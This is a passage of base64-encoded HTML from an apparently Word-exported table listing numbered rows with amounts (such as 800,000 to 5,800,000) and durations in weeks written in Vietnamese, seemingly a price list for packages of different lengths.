PSJ0b3AiIHN0eWxlPSJ3aWR0aDo0Ni45cHQ7Ym9yZGVyOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7 DQogICAgYm9yZGVyLXRvcDpub25lO3BhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6 MTEuNjVwdCIgYmdjb2xvcj0iI0ZGRkZGRiI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFs aWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3Jt YWwiPg0KCQkJCQk8Yj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+ DQoJCQkJCTxmb250IHNpemU9IjQiPjI8L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQg d2lkdGg9IjExMyIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo4NC41NXB0O2JvcmRlci10b3A6 bm9uZTtib3JkZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206c29saWQgd2luZG93dGV4 dCAxLjBwdDtib3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5n OjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjExLjY1cHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0K CQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGln bjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPGI+PHNwYW4gc3R5bGU9ImZv bnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPg0KCQkJCQk8Zm9udCBzaXplPSI0Ij44MDAsMDAw PC9mb250Pjwvc3Bhbj48L2I+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSI3MCIgdmFsaWduPSJ0b3Ai IHN0eWxlPSJ3aWR0aDo1Mi40cHQ7Ym9yZGVyLXRvcDpub25lO2JvcmRlci1sZWZ0Og0KICAgIG5v bmU7Ym9yZGVyLWJvdHRvbTpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRlci1yaWdodDpzb2xp ZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWln aHQ6MTEuNjVwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwi IGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBu b3JtYWwiPg0KCQkJCQk8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+ PGZvbnQgc2l6ZT0iNCI+MyANCgkJCQkJdHUmIzc4NDc7bjwvZm9udD48L3NwYW4+PC90ZD4NCgkJ CQkJPHRkIHdpZHRoPSIxMTQiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6ODUuMjVwdDtib3Jk ZXItdG9wOm5vbmU7Ym9yZGVyLWxlZnQ6DQogICAgbm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdp bmRvd3RleHQgMS4wcHQ7Ym9yZGVyLXJpZ2h0OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAg cGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdodDoxMS42NXB0IiBiZ2NvbG9yPSIjRkZD Q0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRl eHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxiPjxzcGFuIHN0 eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQgc2l6ZT0iNCI+ MiwwMDAsMDAwPC9mb250Pjwvc3Bhbj48L2I+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSI3MCIgdmFs aWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo1Mi40cHQ7Ym9yZGVyLXRvcDpub25lO2JvcmRlci1sZWZ0 Og0KICAgIG5vbmU7Ym9yZGVyLWJvdHRvbTpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRlci1y aWdodDpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1 LjRwdDtoZWlnaHQ6MTEuNjVwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJN c29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUt aGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5l dyBSb21hbiI+PGZvbnQgc2l6ZT0iNCI+NCANCgkJCQkJdHUmIzc4NDc7bjwvZm9udD48L3NwYW4+ PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSIxMDYiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6Nzku NnB0O2JvcmRlci10b3A6bm9uZTtib3JkZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206 c29saWQgd2luZG93dGV4dCAxLjBwdDtib3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBw dDsNCiAgICBwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjExLjY1cHQiIGJnY29s b3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBz dHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPGI+ PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPg0KCQkJCQk8Zm9udCBz aXplPSI0Ij4zLDIwMCwwMDA8L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9 IjcwIiB2YWxpZ249InRvcCIgc3R5bGU9IndpZHRoOjUyLjRwdDtib3JkZXItdG9wOm5vbmU7Ym9y ZGVyLWxlZnQ6DQogICAgbm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7 Ym9yZGVyLXJpZ2h0OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40 cHQgMGluIDUuNHB0O2hlaWdodDoxMS42NXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAg Y2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRl cjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxzcGFuIHN0eWxlPSJmb250LWZhbWlseTog VGltZXMgTmV3IFJvbWFuIj48Zm9udCBzaXplPSI0Ij41IA0KCQkJCQl0dSYjNzg0NztuPC9mb250 Pjwvc3Bhbj48L3RkPg0KCQkJCTwvdHI+DQoJCQkJPHRyIHN0eWxlPSJoZWlnaHQ6IDExLjY1cHQi Pg0KCQkJCQk8dGQgd2lkdGg9IjYzIiB2YWxpZ249InRvcCIgc3R5bGU9IndpZHRoOjQ2LjlwdDti b3JkZXI6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBib3JkZXItdG9wOm5vbmU7cGFkZGlu ZzowaW4gNS40cHQgMGluIDUuNHB0O2hlaWdodDoxMS42NXB0IiBiZ2NvbG9yPSIjRkZGRkZGIj4N CgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxp Z246IGNlbnRlcjsgbGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxiPjxzcGFuIHN0eWxlPSJm b250LWZhbWlseTogVGltZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQgc2l6ZT0iNCI+MzwvZm9u dD48L3NwYW4+PC9iPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0iMTEzIiB2YWxpZ249InRvcCIgc3R5 bGU9IndpZHRoOjg0LjU1cHQ7Ym9yZGVyLXRvcDpub25lO2JvcmRlci1sZWZ0Og0KICAgIG5vbmU7 Ym9yZGVyLWJvdHRvbTpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRlci1yaWdodDpzb2xpZCB3 aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6 MTEuNjVwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFs aWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3Jt YWwiPg0KCQkJCQk8Yj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+ DQoJCQkJCTxmb250IHNpemU9IjQiPjEsMjAwLDAwMDwvZm9udD48L3NwYW4+PC9iPjwvdGQ+DQoJ CQkJCTx0ZCB3aWR0aD0iNzAiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NTIuNHB0O2JvcmRl ci10b3A6bm9uZTtib3JkZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206c29saWQgd2lu ZG93dGV4dCAxLjBwdDtib3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBw YWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjExLjY1cHQiIGJnY29sb3I9IiNGRkND Q0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4 dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPHNwYW4gc3R5bGU9 ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPjxmb250IHNpemU9IjQiPjMgDQoJCQkJCXR1 JiM3ODQ3O248L2ZvbnQ+PC9zcGFuPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0iMTE0IiB2YWxpZ249 InRvcCIgc3R5bGU9IndpZHRoOjg1LjI1cHQ7Ym9yZGVyLXRvcDpub25lO2JvcmRlci1sZWZ0Og0K ICAgIG5vbmU7Ym9yZGVyLWJvdHRvbTpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRlci1yaWdo dDpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRw dDtoZWlnaHQ6MTEuNjVwdCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29O b3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVp Z2h0OiBub3JtYWwiPg0KCQkJCQk8Yj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5l dyBSb21hbiI+DQoJCQkJCTxmb250IHNpemU9IjQiPjIsODAwLDAwMDwvZm9udD48L3NwYW4+PC9i PjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0iNzAiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NTIu NHB0O2JvcmRlci10b3A6bm9uZTtib3JkZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206 c29saWQgd2luZG93dGV4dCAxLjBwdDtib3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBw dDsNCiAgICBwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjExLjY1cHQiIGJnY29s b3I9IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBz dHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPHNw YW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPjxmb250IHNpemU9IjQiPjUg DQoJCQkJCXR1JiM3ODQ3O248L2ZvbnQ+PC9zcGFuPjwvdGQ+DQoJCQkJCTx0ZCB3aWR0aD0iMTA2 IiB2YWxpZ249InRvcCIgc3R5bGU9IndpZHRoOjc5LjZwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVy LWxlZnQ6DQogICAgbm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9y ZGVyLXJpZ2h0OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQg MGluIDUuNHB0O2hlaWdodDoxMS42NXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xh c3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsg bGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTog VGltZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQgc2l6ZT0iNCI+NCwwMDAsMDAwPC9mb250Pjwv c3Bhbj48L2I+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSI3MCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3 aWR0aDo1Mi40cHQ7Ym9yZGVyLXRvcDpub25lO2JvcmRlci1sZWZ0Og0KICAgIG5vbmU7Ym9yZGVy LWJvdHRvbTpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRlci1yaWdodDpzb2xpZCB3aW5kb3d0 ZXh0IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MTEuNjVw dCIgYmdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJj ZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0K CQkJCQk8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+PGZvbnQgc2l6 ZT0iNCI+NiANCgkJCQkJdHUmIzc4NDc7bjwvZm9udD48L3NwYW4+PC90ZD4NCgkJCQk8L3RyPg0K CQkJCTx0ciBzdHlsZT0iaGVpZ2h0OiAxMS42NXB0Ij4NCgkJCQkJPHRkIHdpZHRoPSI2MyIgdmFs aWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo0Ni45cHQ7Ym9yZGVyOnNvbGlkIHdpbmRvd3RleHQgMS4w cHQ7DQogICAgYm9yZGVyLXRvcDpub25lO3BhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWln aHQ6MTEuNjVwdCIgYmdjb2xvcj0iI0ZGRkZGRiI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwi IGFsaWduPSJjZW50ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBu b3JtYWwiPg0KCQkJCQk8Yj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21h biI+DQoJCQkJCTxmb250IHNpemU9IjQiPjQ8L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8 dGQgd2lkdGg9IjExMyIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo4NC41NXB0O2JvcmRlci10 b3A6bm9uZTtib3JkZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206c29saWQgd2luZG93 dGV4dCAxLjBwdDtib3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRk aW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjExLjY1cHQiIGJnY29sb3I9IiNGRkNDQ0Mi Pg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1h bGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPGI+PHNwYW4gc3R5bGU9 ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPg0KCQkJCQk8Zm9udCBzaXplPSI0Ij4xLDUw MCwwMDA8L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjcwIiB2YWxpZ249 InRvcCIgc3R5bGU9IndpZHRoOjUyLjRwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWxlZnQ6DQog ICAgbm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9yZGVyLXJpZ2h0 OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0 O2hlaWdodDoxMS42NXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05v cm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWln aHQ6IG5vcm1hbCI+DQoJCQkJCTxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJv bWFuIj48Zm9udCBzaXplPSI0Ij40IA0KCQkJCQl0dSYjNzg0NztuPC9mb250Pjwvc3Bhbj48L3Rk Pg0KCQkJCQk8dGQgd2lkdGg9IjExNCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo4NS4yNXB0 O2JvcmRlci10b3A6bm9uZTtib3JkZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206c29s aWQgd2luZG93dGV4dCAxLjBwdDtib3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsN CiAgICBwYWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjExLjY1cHQiIGJnY29sb3I9 IiNGRkNDQ0MiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHls ZT0idGV4dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPGI+PHNw YW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPg0KCQkJCQk8Zm9udCBzaXpl PSI0Ij4zLDUwMCwwMDA8L2ZvbnQ+PC9zcGFuPjwvYj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9Ijcw IiB2YWxpZ249InRvcCIgc3R5bGU9IndpZHRoOjUyLjRwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVy LWxlZnQ6DQogICAgbm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9y ZGVyLXJpZ2h0OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQg MGluIDUuNHB0O2hlaWdodDoxMS42NXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xh c3M9Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsg bGluZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGlt ZXMgTmV3IFJvbWFuIj48Zm9udCBzaXplPSI0Ij41IA0KCQkJCQl0dSYjNzg0NztuPC9mb250Pjwv c3Bhbj48L3RkPg0KCQkJCQk8dGQgd2lkdGg9IjEwNiIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0 aDo3OS42cHQ7Ym9yZGVyLXRvcDpub25lO2JvcmRlci1sZWZ0Og0KICAgIG5vbmU7Ym9yZGVyLWJv dHRvbTpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRlci1yaWdodDpzb2xpZCB3aW5kb3d0ZXh0 IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MTEuNjVwdCIg Ymdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50 ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJ CQk8Yj48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+DQoJCQkJCTxm b250IHNpemU9IjQiPjUsMjAwLDAwMDwvZm9udD48L3NwYW4+PC9iPjwvdGQ+DQoJCQkJCTx0ZCB3 aWR0aD0iNzAiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NTIuNHB0O2JvcmRlci10b3A6bm9u ZTtib3JkZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206c29saWQgd2luZG93dGV4dCAx LjBwdDtib3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBp biA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjExLjY1cHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJ CQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjog Y2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPHNwYW4gc3R5bGU9ImZvbnQtZmFt aWx5OiBUaW1lcyBOZXcgUm9tYW4iPjxmb250IHNpemU9IjQiPjggDQoJCQkJCXR1JiM3ODQ3O248 L2ZvbnQ+PC9zcGFuPjwvdGQ+DQoJCQkJPC90cj4NCgkJCQk8dHIgc3R5bGU9ImhlaWdodDogMTIu MjVwdCI+DQoJCQkJCTx0ZCB3aWR0aD0iNjMiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NDYu OXB0O2JvcmRlcjpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0KICAgIGJvcmRlci10b3A6bm9uZTtw YWRkaW5nOjBpbiA1LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjEyLjI1cHQiIGJnY29sb3I9IiNGRkZG RkYiPg0KCQkJCQk8cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4 dC1hbGlnbjogY2VudGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPGI+PHNwYW4gc3R5 bGU9ImZvbnQtZmFtaWx5OiBUaW1lcyBOZXcgUm9tYW4iPg0KCQkJCQk8Zm9udCBzaXplPSI0Ij41 PC9mb250Pjwvc3Bhbj48L2I+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSIxMTMiIHZhbGlnbj0idG9w IiBzdHlsZT0id2lkdGg6ODQuNTVwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWxlZnQ6DQogICAg bm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9yZGVyLXJpZ2h0OnNv bGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGluIDUuNHB0O2hl aWdodDoxMi4yNXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9Ik1zb05vcm1h bCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGluZS1oZWlnaHQ6 IG5vcm1hbCI+DQoJCQkJCTxiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGltZXMgTmV3IFJv bWFuIj4NCgkJCQkJPGZvbnQgc2l6ZT0iNCI+MiwwMDAsMDAwPC9mb250Pjwvc3Bhbj48L2I+PC90 ZD4NCgkJCQkJPHRkIHdpZHRoPSI3MCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0aDo1Mi40cHQ7 Ym9yZGVyLXRvcDpub25lO2JvcmRlci1sZWZ0Og0KICAgIG5vbmU7Ym9yZGVyLWJvdHRvbTpzb2xp ZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRlci1yaWdodDpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0Ow0K ICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MTIuMjVwdCIgYmdjb2xvcj0i I0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50ZXIiIHN0eWxl PSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJCQk8c3BhbiBz dHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+PGZvbnQgc2l6ZT0iNCI+NiANCgkJ CQkJdHUmIzc4NDc7bjwvZm9udD48L3NwYW4+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSIxMTQiIHZh bGlnbj0idG9wIiBzdHlsZT0id2lkdGg6ODUuMjVwdDtib3JkZXItdG9wOm5vbmU7Ym9yZGVyLWxl ZnQ6DQogICAgbm9uZTtib3JkZXItYm90dG9tOnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7Ym9yZGVy LXJpZ2h0OnNvbGlkIHdpbmRvd3RleHQgMS4wcHQ7DQogICAgcGFkZGluZzowaW4gNS40cHQgMGlu IDUuNHB0O2hlaWdodDoxMi4yNXB0IiBiZ2NvbG9yPSIjRkZDQ0NDIj4NCgkJCQkJPHAgY2xhc3M9 Ik1zb05vcm1hbCIgYWxpZ249ImNlbnRlciIgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgbGlu ZS1oZWlnaHQ6IG5vcm1hbCI+DQoJCQkJCTxiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogVGlt ZXMgTmV3IFJvbWFuIj4NCgkJCQkJPGZvbnQgc2l6ZT0iNCI+NCwwMDAsMDAwPC9mb250Pjwvc3Bh bj48L2I+PC90ZD4NCgkJCQkJPHRkIHdpZHRoPSI3MCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJ3aWR0 aDo1Mi40cHQ7Ym9yZGVyLXRvcDpub25lO2JvcmRlci1sZWZ0Og0KICAgIG5vbmU7Ym9yZGVyLWJv dHRvbTpzb2xpZCB3aW5kb3d0ZXh0IDEuMHB0O2JvcmRlci1yaWdodDpzb2xpZCB3aW5kb3d0ZXh0 IDEuMHB0Ow0KICAgIHBhZGRpbmc6MGluIDUuNHB0IDBpbiA1LjRwdDtoZWlnaHQ6MTIuMjVwdCIg Ymdjb2xvcj0iI0ZGQ0NDQyI+DQoJCQkJCTxwIGNsYXNzPSJNc29Ob3JtYWwiIGFsaWduPSJjZW50 ZXIiIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IGxpbmUtaGVpZ2h0OiBub3JtYWwiPg0KCQkJ CQk8c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IFRpbWVzIE5ldyBSb21hbiI+PGZvbnQgc2l6ZT0i NCI+NyANCgkJCQkJdHUmIzc4NDc7bjwvZm9udD48L3NwYW4+PC90ZD4NCgkJCQkJPHRkIHdpZHRo PSIxMDYiIHZhbGlnbj0idG9wIiBzdHlsZT0id2lkdGg6NzkuNnB0O2JvcmRlci10b3A6bm9uZTti b3JkZXItbGVmdDoNCiAgICBub25lO2JvcmRlci1ib3R0b206c29saWQgd2luZG93dGV4dCAxLjBw dDtib3JkZXItcmlnaHQ6c29saWQgd2luZG93dGV4dCAxLjBwdDsNCiAgICBwYWRkaW5nOjBpbiA1 LjRwdCAwaW4gNS40cHQ7aGVpZ2h0OjEyLjI1cHQiIGJnY29sb3I9IiNGRkNDQ0MiPg0KCQkJCQk8 cCBjbGFzcz0iTXNvTm9ybWFsIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1hbGlnbjogY2Vu dGVyOyBsaW5lLWhlaWdodDogbm9ybWFsIj4NCgkJCQkJPGI+PHNwYW4gc3R5bGU9ImZvbnQtZmFt aWx5OiBUaW1lcyBOZXcgUm9tYW4iPg0KCQkJCQk8Zm9udCBzaXplPSI0Ij41LDgwMCwwMDA8L2Zv 